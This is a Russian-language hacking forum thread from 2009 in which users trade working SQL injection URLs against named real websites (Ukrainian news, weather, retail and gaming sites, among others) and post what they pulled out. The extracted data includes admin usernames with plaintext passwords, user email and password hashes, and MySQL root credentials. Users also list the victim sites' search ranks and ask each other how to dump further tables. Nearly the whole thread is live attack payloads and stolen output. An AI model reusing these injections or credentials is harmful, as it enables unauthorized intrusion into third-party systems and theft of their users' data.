07.01.2009, 19:19
|
|
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
С нами:
9230096
Репутация:
464
|
|
http://gta.com.ua/file_sa_details.phtml?id=-59+union+select+1,2,3,concat(username,0x3a,passwor d),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from +admin--
токо там по определенному ир(
логин и пасс adminus:lPO7YBB0
|
|
|
07.01.2009, 19:43
|
|
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
С нами:
9230096
Репутация:
464
|
|
http://www.pogoda.ua/index.php?id=-28+union+select+1,concat(login,0x3a,password),3,4, 5+from+users+limit+0,1/*
докрутил до етого test:test
а вот табличку с админами ненашел(((
|
|
|
|
07.01.2009, 20:05
|
|
Новичок
Регистрация: 17.05.2008
Сообщений: 14
С нами:
9465402
Репутация:
12
|
|
zifanchuck, ну вот одминка pogoda.ua/admin только вот test:test неподходит!
|
|
|
|
07.01.2009, 22:07
|
|
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
С нами:
9230096
Репутация:
464
|
|
админку я тожєе нашол а вот пасс админа невыяснеил(((
|
|
|
|
07.01.2009, 22:25
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
С нами:
9361870
Репутация:
58
|
|
http://www.emayhem.com/profiles/profile.php?profile=1'
http://www.emayhem.com/profiles/profile.php?profile=-1+union+select+1,2,concat_ws(0x3a,user(),version() ),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*&wId=4 => marty@localhost:5.0.37-log
http://www.emayhem.com/profiles/profile.php?profile=-1+union+select+1,2,concat_ws(0x3a,email,password), 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+use rs+limit+0,1/*&wId=4 => marty@webmayhem.net:ad452de6a1c6876e66abe0e853b6c0 ad
че за хрень? версия 5 а не выводит из information_schema(( кто поможет?)
|
|
|
|
08.01.2009, 01:33
|
|
Участник форума
Регистрация: 22.05.2008
Сообщений: 158
С нами:
9459019
Репутация:
348
|
|
1.
Код:
http://www.flatlux.kiev.ua/rus/index.php?categoryID=-7+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6--
flatlux_ower@saturn:flatlux_main:4.1.22-log
PR:5
Тиц:160
2.
Код:
http://www.membrana.kiev.ua/catalogue.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11--
root@localhost:membrana:4.0.23a
PR:0
тИЦ: 10
Код:
http://www.membrana.kiev.ua/catalogue.php?id=-1+union+select+1,2,3,concat(user,0x3a,password,0x3a,file_priv),5,6,7,8,9,10,11+from+mysql.user--
root:4fc7a3a65139e6ae:N
3.
Код:
http://stroybat.kiev.ua/index.php?pid=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11--&showpage=1
stroybat_stroy1@localhost:stroybat_stroybat:5.0.51 a-community
PR:3
тИЦ: 30
Код:
http://stroybat.kiev.ua/index.php?pid=-1+union+select+1,2,table_name,4,5,6,7,8,9,10,11+from+information_schema.tables--&showpage=1
|
|
|
|
08.01.2009, 02:43
|
|
Участник форума
Регистрация: 01.09.2007
Сообщений: 203
С нами:
9838057
Репутация:
302
|
|
Код:
http://wow.cybergame.su/index.php?newsid=999999+union+select+1,version(),3,4,5,6%20--
Как можно посмотреть что выдало при такой скуле. Просто на экране ни че не видо или я не вижу -( |
|
|
|
08.01.2009, 02:52
|
|
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
С нами:
9230096
Репутация:
464
|
|
а там точно скуль??? я неуверен (я правда новичек)
я думаю там ее нету
|
|
|
|
08.01.2009, 03:18
|
|
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
С нами:
9230096
Репутация:
464
|
|
Так я все таки прав?? мне кажеться что там иньектом и не пахнет.
А как там на самом деле.... может и есть там скуля
|
|
|
|
08.01.2009, 03:51
|
|
Познающий
Регистрация: 06.11.2008
Сообщений: 32
С нами:
9216004
Репутация:
21
|
|
Как можно посмотреть что выдало при такой скуле. Просто на экране ни че не видо или я не вижу -(
На скока если я знаю инъекция вслепую то некак
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
